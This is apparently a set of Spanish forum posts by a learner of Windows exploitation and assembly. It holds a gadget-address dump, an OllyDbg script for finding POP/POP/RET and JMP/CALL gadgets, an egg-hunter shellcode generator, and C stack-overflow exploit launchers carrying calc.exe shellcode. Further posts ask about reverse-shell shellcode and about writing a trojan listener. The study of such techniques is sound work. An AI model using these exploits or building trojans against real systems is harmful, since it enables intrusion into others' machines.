|58C646C5 | PUSH EAX
|58C646C6 | PUSH ECX
|58C646C7 | CALL 58C5070D
|58C646CC | ADD ESP,0xC
|58C646CF | POP EDI
|58C646D0 | POP ESI
|58C646D1 | POP EBP
|58C646D2 | RETN 0x8
|
|58C6982D | PUSH EAX
|58C6982E | PUSH ECX
|58C6982F | CALL 58C3C278
|58C69834 | POP EBP
|58C69835 | RETN 0xC
|
\--------------------------------------------------------------------------------------------/




/--------------------------------------------------------------------------------------------\
| Module address:[5B150000]  |  Module size:[38000]  |  Name:[uxtheme]
----------------------------------------------------------------------------------------------
\--------------------------------------------------------------------------------------------/




/--------------------------------------------------------------------------------------------\
| Module address:[5CF60000]  |  Module size:[26000]  |  Name:[shimeng]
----------------------------------------------------------------------------------------------
\--------------------------------------------------------------------------------------------/




/--------------------------------------------------------------------------------------------\
| Module address:[61DF0000]  |  Module size:[E000]  |  Name:[mfc42loc]
----------------------------------------------------------------------------------------------
\--------------------------------------------------------------------------------------------/




/--------------------------------------------------------------------------------------------\
| Module address:[6FDB0000]  |  Module size:[1CA000]  |  Name:[AcGenral]
----------------------------------------------------------------------------------------------
\--------------------------------------------------------------------------------------------/




/--------------------------------------------------------------------------------------------\
| Module address:[73D50000]  |  Module size:[FE000]  |  Name:[mfc42]
----------------------------------------------------------------------------------------------
|73D60192 | PUSH EAX
|73D60193 | PUSH ECX
|73D60194 | CALL DWORD PTR DS:[EDX+0x28]
|73D60197 | POP ESI
|73D60198 | RETN 0x4
|
|73D88F8C | PUSH EAX
|73D88F8D | PUSH ECX
|73D88F8E | MOV ECX,ESI
|73D88F90 | CALL 73DCB5A6
|73D88F95 | POP ESI
|73D88F96 | RETN 0x4
|
|73DAAAB9 | PUSH EAX
|73DAAABA | PUSH ECX
|73DAAABB | CALL DWORD PTR DS:[0x73DF66E0]
|73DAAAC1 | ADD ESP,0xC
|73DAAAC4 | SUB DWORD PTR DS:[ESI+0x8],EDI
|73DAAAC7 | POP EDI
|73DAAAC8 | POP ESI
|73DAAAC9 | RETN 0x8
|
|73DCCA4B | PUSH EAX
|73DCCA4C | PUSH ECX
|73DCCA4D | PUSH ESI
|73DCCA4E | CALL 73DC914B
|73DCCA53 | POP ESI
|73DCCA54 | RETN 0x8
|
\--------------------------------------------------------------------------------------------/




/--------------------------------------------------------------------------------------------\
| Module address:[76030000]  |  Module size:[65000]  |  Name:[msvcp60]
----------------------------------------------------------------------------------------------
\--------------------------------------------------------------------------------------------/




/--------------------------------------------------------------------------------------------\
| Module address:[76360000]  |  Module size:[4A000]  |  Name:[comdlg32]
----------------------------------------------------------------------------------------------
|7638A193 | PUSH EAX
|7638A194 | PUSH ECX
|7638A195 | CALL DWORD PTR DS:[0x763613D8]
|7638A19B | POP EBP
|7638A19C | RETN 0xC
|
\--------------------------------------------------------------------------------------------/




/--------------------------------------------------------------------------------------------\
| Module address:[76630000]  |  Module size:[B4000]  |  Name:[userenv]
----------------------------------------------------------------------------------------------
\--------------------------------------------------------------------------------------------/




/--------------------------------------------------------------------------------------------\
| Module address:[76B00000]  |  Module size:[2E000]  |  Name:[winmm]
----------------------------------------------------------------------------------------------
\--------------------------------------------------------------------------------------------/




/--------------------------------------------------------------------------------------------\
| Module address:[770F0000]  |  Module size:[8C000]  |  Name:[oleaut32]
----------------------------------------------------------------------------------------------

Pues eso, a ver si alguien me puede ayudar, saludos.

[RET N]

Hola a todos me surge una duda con RET N (4 * número de variables), mi duda surge en que RET N, se debe especificar para la creación de variables locales y parámetros de entrada o solo para variables locales?, saludos.

PD: Siempre cuando se programa sin directivas de alto nivel, ya que estas crean el ret n, de forma automática.

EDIT: Al parecer esta compensación solo se hace cuando la función/procedimiento recibe parámetros, si es así favor de confirmar, saludos.

Cómo podría obtener la cantidad de módulos executables cargados (ALT+E en OllyDbg) ?, ¿hay algún lugar del ejecutable que posea tal contador?, saludos.

EDIT: ¿ PEB LDR_DATA ?

EDI2:

Código (asm) [Seleccionar] Expandir

invoke CreateToolhelp32Snapshot, TH32CS_SNAPMODULE, idproc
mov hSnapshot,eax
      mov me32.dwSize, sizeof MODULEENTRY32
invoke Module32First, hSnapshot, addr me32
test eax,eax
je fin

De todas maneras me gustaría saber si algún o API que proporcione esa respuesta, saludos.

Hola a todos me gustaría saber más menos cuantos bytes (promedio, es para hacerme una idea), tiene una shellcode genérica para windows (todas las versiones de SO y servicepack), y que esta realice una conexión a través sockets de forma inversa (reverse shellcode).

Es para hacerme una idea del tamaño más menos, saludos.

Hola a todos tengo una duda con la estructura:

_LDR_DATA_TABLE_ENTRY
InLoadOrderModuleList
InMemoryOrderModuleList
InInitializationOrderModuleList
...

Mi duda es si: ¿Esta estructura es siempre así? (según a donde me dirija con Loader data)

Me explico es que si en LoaderData tomo + 0C (InLoadOrderModuleList) siempre hay 6 DWORD (las tres LIST_ENTRY, cada una con flink y blink) antes del campo BaseAddress, pero si en el LoaderData tomo + 1C (InInitializationOrderModuleList) solo hay 2 DWORD antes del BaseAddress, ahora si tomo + 14 (InMemoryOrderModuleList),  hay 4 DWORDS antes del BaseAddress, eso es normal?  a ver si me explican, saludos.

Hola a todos estoy teniendo dificultades con los scripts en mi sistema (Windows XP), me he descargado el instalador para windows 32bit y lo he instalado en Windows XP SP 2 en una máquina virtual, pero no logro ejecutar scripts, generalmente me marcan errores, ¿A qué se puede deber este inconveniente?, adjunto un script que me marca el siguiente error:

C:\Documents and Settings\Administrador\Escritorio\omelet>w32_SEH_omelet.py w32_
SEH_omelet.bin shellcode.bin hola.txt
  File "C:\Documents and Settings\Administrador\Escritorio\omelet\w32_SEH_omelet
.py", line 88
    """
      ^
SyntaxError: invalid syntax

Código (python) [Seleccionar] Expandir

import math
import sys

def HexEncode(string):
  result = ''
  for char in string:
    result += '\\x%02X' % ord(char)
  return result

def Main(my_name, bin_file, shellcode_file, output_file, egg_size = '0x7F', marker_bytes = '0x280876'):
  if (marker_bytes.startswith('0x')):
    marker_bytes = int(marker_bytes[2:], 16)
  else:
    marker_bytes = int(marker_bytes)
  if (egg_size.startswith('0x')):
    egg_size = int(egg_size[2:], 16)
  else:
    egg_size = int(egg_size)
  assert marker_bytes <= 0xFFFFFF, 'Marker must fit into 3 bytes.'
  assert egg_size >= 6, 'Eggs cannot be less than 6 bytes.'
  assert egg_size <= 0x7F, 'Eggs cannot be more than 0x7F (127) bytes.'
   
  bin = open(bin_file).read()
  marker_bytes_location = ord(bin[-3])
  max_index_location = ord(bin[-2])
  egg_size_location = ord(bin[-1])
  code = bin[:-3]

  shellcode = open(shellcode_file).read()
 
  max_index = int(math.ceil(len(shellcode) / (egg_size - 5.0)))
  assert max_index <= 0xFF, ('The shellcode would require %X (%d) eggs of  %X '
      '(%d) bytes, but 0xFF (255) is the maximum number of eggs.') % (
      max_index, max_index, egg_size, egg_size)
 
  marker_bytes_string = ''
  for i in range(0,3):
    marker_bytes_string += chr(marker_bytes & 0xFF)
    marker_bytes >>= 8

  max_index_string = chr(max_index)
  egg_size_string = chr(egg_size - 5)
  # insert variables into code
  code = code[:marker_bytes_location] + marker_bytes_string + code[marker_bytes_location+3:]
  code = code[:max_index_location] + max_index_string + code[max_index_location+1:]
  code = code[:egg_size_location] + egg_size_string + code[egg_size_location+1:]
  output = [
    '// This is the binary code that needs to be executed to find the eggs, ',
    '// recombine the orignal shellcode and execute it. It is %d bytes:' % (
      len(code),),
    'omelet_code = "%s";' % HexEncode(code),
    '',
    '// These are the eggs that need to be injected into the target process ',
    '// for the omelet shellcode to be able to recreate the original shellcode',
    '// (you can insert them as many times as you want, as long as each one is',
    '// inserted at least once). They are %d bytes each:' % (egg_size,) ]
  egg_index = 0
  while shellcode:
    egg = egg_size_string + chr(egg_index ^ 0xFF) + marker_bytes_string
    egg += shellcode[:egg_size - 5]
    if len(egg) < egg_size:
      # tail end of shellcode is smaller than an egg: add pagging:
      egg += '@' * (egg_size - len(egg))
    output.append('egg%d = "%s";' % (egg_index, HexEncode(egg)))
    shellcode = shellcode[egg_size - 5:]
    egg_index += 1
  open(output_file, 'w').write('\n'.join(output))

if __name__ == '__main__':
  if len(sys.argv) == 1 or sys.argv[1] in ('-h', '-?', '/h', '/?'):
    print """Syntax:
    w32_SEH_omelet.py "omelet bin file" "shellcode bin file" "output txt file"
        [egg size] [marker bytes]

Where:
    omelet bin file = The omelet shellcode stage binary code followed by three
                      bytes of the offsets of the "marker bytes", "max index"
                      and "egg size" variables in the code.
    shellcode bin file = The shellcode binary code you want to have stored in
                      the eggs and reconstructed by the omelet shellcode stage
                      code.
    output txt file = The file you want the omelet egg-hunt code and the eggs
                      to be written to (in text format).
    egg size =        The size of each egg (legal values: 6-127, default: 127)
    marker bytes =    The value you want to use as a marker to distinguish the
                      eggs from other data in user-land address space (legal
                      values: 0-0xFFFFFF, default value: 0x280876)
"""
  assert len(sys.argv) >= 4 and len(sys.argv) <= 6, (
      'Incorrect arguments; run "w32_SEH_omelet.py -?" for help.')
  exit(Main(*sys.argv))

El script debería funcionar correctamente (estoy siguiendo un tutorial en donde se menciona, y no da problemas)

a ver si me ayudan, saludos.

No logro dar con la documentación de CommandLine (OllyDbg Plugins), me he percatado que consta con muchos comandos de los cuales siempre he usado como máximo tres a ver si alguien puede compartirlo, saludos.

Hola a todos, leyendo tutoriales sobre Stack-based buffer overflow me percaté de la ausencia de alguna herramienta (bajo OllyDbg) que se encargada de encontrar direcciones funcionales para explotación bajo UNICODE, solo encontré OLLYUni pero este no encuentra instrucciones POP/POP/RET (si es así favor de informarme),
por lo que cree un script para ODBGScript capas de encontrar:
JMP r32
Call r32
POP r32/POP r32 / RETN

El script es el siguiente:

Código (asm) [Seleccionar] Expandir

VAR ADDRESS
VAR V_OPCODE

ASK "Select option: JMP (1) - CALL (2) - POP/POP/RET (3)"
CMP $RESULT,1
JE L_BEGIN_SEARCH_1
CMP $RESULT,2
JE L_BEGIN_SEARCH_2
CMP $RESULT,3
JE L_BEGIN_SEARCH_3
JMP L_EXIT

L_BEGIN_SEARCH_1:
FINDMEM #FFE?#
L_SEARCH_JMP:
TEST $RESULT,$RESULT
JE L_EXIT
MOV ADDRESS,$RESULT
TEST ADDRESS,FF00FF00
JNE L_NEXT_SEARCH_JMP
MOV V_OPCODE,$RESULT
INC V_OPCODE
MOV V_OPCODE,[V_OPCODE],1
CMP V_OPCODE,E7
JA  L_NEXT_SEARCH_JMP
GCI ADDRESS,COMMAND
EVAL "ADDRESS:[00{ADDRESS}] - INSTRUCTION:[{$RESULT}]"
LOG "",$RESULT
L_NEXT_SEARCH_JMP:
INC ADDRESS
FINDMEM #FFE?#,ADDRESS
JMP L_SEARCH_JMP

L_BEGIN_SEARCH_2:
FINDMEM #FFD?#
L_SEARCH_CALL:
TEST $RESULT,$RESULT
JE L_EXIT
MOV ADDRESS,$RESULT
TEST ADDRESS,FF00FF00
JNE L_NEXT_SEARCH_CALL
MOV V_OPCODE,$RESULT
INC V_OPCODE
MOV V_OPCODE,[V_OPCODE],1
CMP V_OPCODE,D7
JA  L_NEXT_SEARCH_CALL
GCI ADDRESS,COMMAND
EVAL "ADDRESS:[00{ADDRESS}] - INSTRUCTION:[{$RESULT}]"
LOG "",$RESULT
L_NEXT_SEARCH_CALL:
INC ADDRESS
FINDMEM #FFD?#,ADDRESS
JMP L_SEARCH_CALL

L_BEGIN_SEARCH_3:
FINDMEM #5?5?C3#
L_SEARCH_POP_POP_RET:
TEST $RESULT,$RESULT
JE L_EXIT
MOV ADDRESS,$RESULT
TEST ADDRESS,FF00FF00
JNE L_NEXT_SEARCH_POP_POP_RET
EVAL "ADDRESS:[00{ADDRESS}] - INSTRUCTION:[POP/POP/RET]"
LOG "",$RESULT
L_NEXT_SEARCH_POP_POP_RET:
INC ADDRESS
FINDMEM #5?5?C3#,ADDRESS
JMP L_SEARCH_POP_POP_RET

L_EXIT:
RET

Saludos.

Hola a todos con:
LOG eip

Se logea en el campo mensaje pero el address no se muestra, ¿cómo podría hacer para logear en el campo address de LOG?, saludos.

[INC EAX]

Se podrá obtener la instrucción que apunta el EIP

EJ:
403000 INC EAX

LOG INSTRUCCIÓN

MOSTRARÍA: INC EAX (En vez de los OPCODES)

Saludos.

[EDIT]

Hola a todos, actualmente tengo mucho interés en comenzar a probar nuevos debugger, me ha interesado comenzar con IDA, mi pregunta es que tutorial podría darme una introducción de este debugger estilo Introducción cómo la de Ricardo Narvaja, ¿podría ser desde aquí?, me surge la duda, no quiero estudiar algo desactualizado, saludos.

http://ricardonarvaja.info/WEB/OTROS/IDA BIGUNDILLA

EDIT:

Alguna introducción de cracking en linux desde 0 utilizando IDA?.

Hola a todos, estoy comenzando con la elaboración de exploit y me he topado con el concepto de safeSEH (entiendo el funcionamiento de los manejadores de excepciones, cómo localizarlo, etc.), pero en muchos tutoriales nombran que hay que buscar módulos que posean safeSEH desactivado, pero no logro entender el funcionamiento de safeSEH, cito:

SafeSEH

En Windows XP SP2 y Windows Server 2003 se añadió la protección de memoria SafeSEH, la cual impide en gran medida la ejecución de código a través de SEH. Si esta protección se encuentra habilitada en un módulo, únicamente es posible utilizar como manejadores las direcciones almacenadas anteriormente en una lista. De este modo, no es posible sobrescribir la posición donde se encuentra "Handler_N()" ya que posteriormente se verificara si existe en la tabla indicada.

esto se refiere a que existe un estructura encargada de almacenar las direcciones que apuntan los SEH?, ¿Qué ocurre cuando se instalan nuevos SEH?, ¿esta lista se actualiza? a ver si me aclaran esta duda, ya que como  sabrán no sirve de nada conseguir los objetivos sin saber cómo funciona todo, saludos.

EDIT: Leyendo no me expliqué muy bien, mi pregunta es por que cuando necesito conseguir instrucciones POP POP RET estas deben ser conseguidas en módulos que no posean safeSEH?, si sólamente estoy tomando instrucciones, y en ningún momento estoy alterando los SEH del módulo?

Hola a todos estoy haciendo una shellcode:

Código (c) [Seleccionar] Expandir

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void main(int argc, char *argv[]) {
char relleno[1024] ="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char offset[]  = "\xED\x1E\x95\x7C";
char exploit[] = "\x55\x8B\xEC\x83\xEC\x0C\x32\xD2\xC6\x45\xF4\x63\xC6\x45\xF5\x61\xC6\x45\xF6\x6C\xC6\x45\xF7\x63\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6\x45\xFA\x78\xC6\x45\xFB\x65\x88\x55\xFC\x8D\x45\xF4\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x8B\xE5\x5D";

strcat(relleno,offset);
strcat(relleno,exploit);

argv[0] = "vuln1";
    argv[1] = relleno;
    argv[2] = NULL;

execv ("vuln.exe",argv);

}

Esta funciona de maravilla, lo que si me surge una duda con respecto a execv, cómo se puede apreciar se le envían los parámetros de argv (estos se asignan con anterioridad), pero me surge la duda de cómo podría crear mi propio arreglo con distintos tipos de datos como lo es en argv para posteriormente entregárselo a execv, saludos.

Hola a todos estoy intentando programar mis propias shellcode:

Código (c) [Seleccionar] Expandir

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void main(int argc, char *argv[]) {
char relleno[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char offset[]  = "\xED\x1E\x95\x7C";
char exploit[] = "\x55\x8B\xEC\x83\xEC\x0C\x32\xD2\xC6\x45\xF4\x63\xC6\x45\xF5\x61\xC6\x45\xF6\x6C\xC6\x45\xF7\x63\xC6\x45\xF8\x2E\xC6\x45\xF9\x65"
"\xC6\x45\xFA\x78\xC6\x45\xFB\x65\x88\x55\xFC\x8D\x45\xF4\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3\x8B\xE5\x5D";

strcat(offset,exploit);
strcat(relleno,offset);

//argv[0] = "vuln1";
    //argv[1] = relleno;
    //argv[2] = NULL;

//execv ("vuln.exe",argv);

}

El problema está en la segunda concatenación, esta genera errores al momento de ejecutar, ¿cual podría ser el problema?, saludos y gracias.

Hola a todos necesito asignar un identificador a cada item de un listview ya que quiero  que el programa los pueda identificar y diferenciar, ¿cómo podría hacerlo?, saludos.

Hola a todos, estoy teniendo un problema al querer identificar un item de un listview:
mi idea es entregarle un "identificador" único a cada item del listview, como identificador utilizo iItem, pero al parecer este se altera al momento de eliminar un item de la lista.

Mi duda es ¿como podría identificar a un item?, no me sirve hacerle dos clic

Código (asm) [Seleccionar] Expandir

invoke SendMessage,hlsv,LVM_GETNEXTITEM,-1,LVNI_FOCUSED

Necesito un identificar único y que este no varíe de acuerdo a la posición del item, saludos.

Hola a todos me surge una duda con la API TerminateThread, mi pregunta es ¿Podría terminar un hilo desde ese mismo hilo

Código [Seleccionar] Expandir

HiloInicio
.....
...
..
TerminateThread(manejadorDeEsteHilo)
HiloFin

Saludos

cómo al hacer clic en un item de listview podría visualizar un menú despegable?

Gracias y saludos

[Solución]

Hola a todos, actualmente estoy aprendiendo sobre listview y me surge la siguiente duda con el parámetro hWnd de la API SendMessage:

Tengo el siguiente código:

Código (asm) [Seleccionar] Expandir

TITLE  listview

.386
option casemap:none
.model flat,stdcall
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\user32.inc
include c:\masm32\include\comctl32.inc

includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\user32.lib
includelib c:\masm32\lib\comctl32.lib

DlgProc PROTO,
hWnd:HWND,
uMsg:UINT,
wParam:WPARAM,
lParam:LPARAM

.const

.data
DlgName byte "Hola",0
Heading1 byte "Test1",0
Heading2 byte "Test2",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.code
InsertColumn proc,
hWnd:HWND
LOCAL lvc:LV_COLUMN
mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
mov lvc.pszText,offset Heading1
mov lvc.lx,150
invoke SendMessage,hWnd, LVM_INSERTCOLUMN,0,addr lvc
or lvc.imask,LVCF_FMT
mov lvc.fmt,LVCFMT_RIGHT
mov lvc.pszText,offset Heading2
mov lvc.lx,100
invoke SendMessage,hWnd, LVM_INSERTCOLUMN, 1 ,addr lvc
ret
InsertColumn endp

start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke DialogBoxParam,hInstance,ADDR DlgName,NULL,ADDR DlgProc,NULL
invoke ExitProcess,eax
DlgProc PROC hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
.IF uMsg == WM_INITDIALOG
invoke InitCommonControls
invoke InsertColumn,hWnd
; invoke GetDlgItem,hWnd,IDC_FOCUS
; invoke SetFocus,eax
.ELSEIF uMsg == WM_CLOSE
invoke EndDialog,hWnd,NULL
.ELSE
mov eax,FALSE
ret
.ENDIF
mov eax,TRUE
ret
DlgProc ENDP
END start

El problema que tengo es que la siguiente línea no funciona correctamente:

Código (asm) [Seleccionar] Expandir

invoke SendMessage,hWnd, LVM_INSERTCOLUMN,0,addr lvc

¿alguien podría guiarme para insertar las columnas?, saludos y gracias de ante mano

Solución: obtener con GetDlgItem el manejador:

Código (asm) [Seleccionar] Expandir

TITLE  listview

.386
option casemap:none
.model flat,stdcall
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\user32.inc
include c:\masm32\include\comctl32.inc

includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\user32.lib
includelib c:\masm32\lib\comctl32.lib

DlgProc PROTO,
hWnd:HWND,
uMsg:UINT,
wParam:WPARAM,
lParam:LPARAM

.const
IDC_LSV1 equ 1001

.data
DlgName byte "Hola",0
Heading1 byte "Test1",0
Heading2 byte "Test2",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.code
InsertColumn proc,
hWnd:HWND
LOCAL lvc:LV_COLUMN
mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
mov lvc.pszText,offset Heading1
mov lvc.lx,150
invoke SendMessage,hWnd, LVM_INSERTCOLUMN,0,addr lvc
or lvc.imask,LVCF_FMT
mov lvc.fmt,LVCFMT_RIGHT
mov lvc.pszText,offset Heading2
mov lvc.lx,100
invoke SendMessage,hWnd, LVM_INSERTCOLUMN, 1 ,addr lvc
ret
InsertColumn endp

start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke DialogBoxParam,hInstance,ADDR DlgName,NULL,ADDR DlgProc,NULL
invoke ExitProcess,eax
DlgProc PROC hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
.IF uMsg == WM_INITDIALOG
invoke InitCommonControls
invoke GetDlgItem,hWnd,IDC_LSV1
invoke InsertColumn,eax
; invoke GetDlgItem,hWnd,IDC_FOCUS
; invoke SetFocus,eax
.ELSEIF uMsg == WM_CLOSE
invoke EndDialog,hWnd,NULL
.ELSE
mov eax,FALSE
ret
.ENDIF
mov eax,TRUE
ret
DlgProc ENDP
END start

[Client]

Intentando elaborar un troyano me surge la siguiente duda:

¿Cómo podría crear múltiples conexiones entrantes desde el cliente?

¿Debería crear un socket para cada conexión?, ¿Si es así, sería más menos lo siguiente?:

Client:
Initialize Winsock.
Create a socket.
Bind the socket.
Listen on the socket for a client.
Accept a connection from a client.
(¿aquí debería crear socket, bind y listen nuevamente y aceptar conexión con ese nuevo socket?)
Receive and send data.
Disconnect.

Saludos.

SOLUCIONADO:
Era tal como pregunté, saludos.

[LÍNEA 55]

Información API:
http://msdn.microsoft.com/en-us/library/windows/desktop/ms737526(v=vs.85).aspx

Siguiendo con el estudio de WINSOCK estoy algo confundido con respecto a la API accept, ya que si pongo los parámetros:

_Out_    struct sockaddr *addr,
 _Inout_  int *addrlen

LÍNEA 55: invoke accept,sock,addr acpt,sizeof acpt

Este me arroja un error:

Código (asm) [Seleccionar] Expandir

TITLE  cliente

.386
option casemap:none
.model flat,stdcall
include c:\masm32\include\windows.inc
include c:\masm32\include\user32.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\ws2_32.inc

includelib c:\masm32\lib\user32.lib
includelib c:\masm32\lib\kernel32.lib
includelib  c:\masm32\lib\ws2_32.lib

.const

.data
wsadata WSADATA <>
sin sockaddr_in <>
acpt sockaddr <>

errort    byte "Error Server",0 ; temp
error1    byte "Error WSAStartup",0 ; temp
error2  byte "Error socket",0 ; temp
error3  byte "Error listen",0 ; temp
error4  byte "Error bind",0 ; temp

look  byte "Conexión recibida",0 ; temp

Port  equ 61116

.data?
sock SOCKET ?

.code
main PROC
invoke WSAStartup,101h,addr wsadata
.if eax!=NULL
invoke MessageBox,NULL,addr error1,addr errort,MB_ICONERROR + MB_OK ; temp
.else
invoke socket,AF_INET,SOCK_STREAM,0

.if eax!=INVALID_SOCKET
mov sock,eax
mov sin.sin_family,AF_INET
mov sin.sin_addr,INADDR_ANY
invoke htons,Port
mov sin.sin_port,ax

invoke bind,sock,addr sin,sizeof sin
.if eax!=SOCKET_ERROR
invoke listen,sock,15
.if eax!=SOCKET_ERROR
.while(TRUE)
invoke accept,sock,addr acpt,sizeof acpt
.if eax!=SOCKET_ERROR
invoke MessageBox,NULL,addr look,addr errort,MB_ICONERROR + MB_OK ; temp
.else
invoke WSAGetLastError
.endif
.endw
.else
invoke MessageBox,NULL,addr error3,addr errort,MB_ICONERROR + MB_OK ; temp
.endif
.else
invoke MessageBox,NULL,addr error4,addr errort,MB_ICONERROR + MB_OK ; temp
.endif
.else
invoke MessageBox,NULL,addr error2,addr errort,MB_ICONERROR + MB_OK ; temp
.endif
.endif

   invoke ExitProcess,0
main ENDP
END main

¿Cómo soluciono esto?
¿Para que sirve exactamente estos parámetros?

Gracias y saludos.

EDIT: El error generado al llamar accept es el siguiente:

271E (WSAEFAULT)   An invalid argument was supplied to the Windows Sockets API.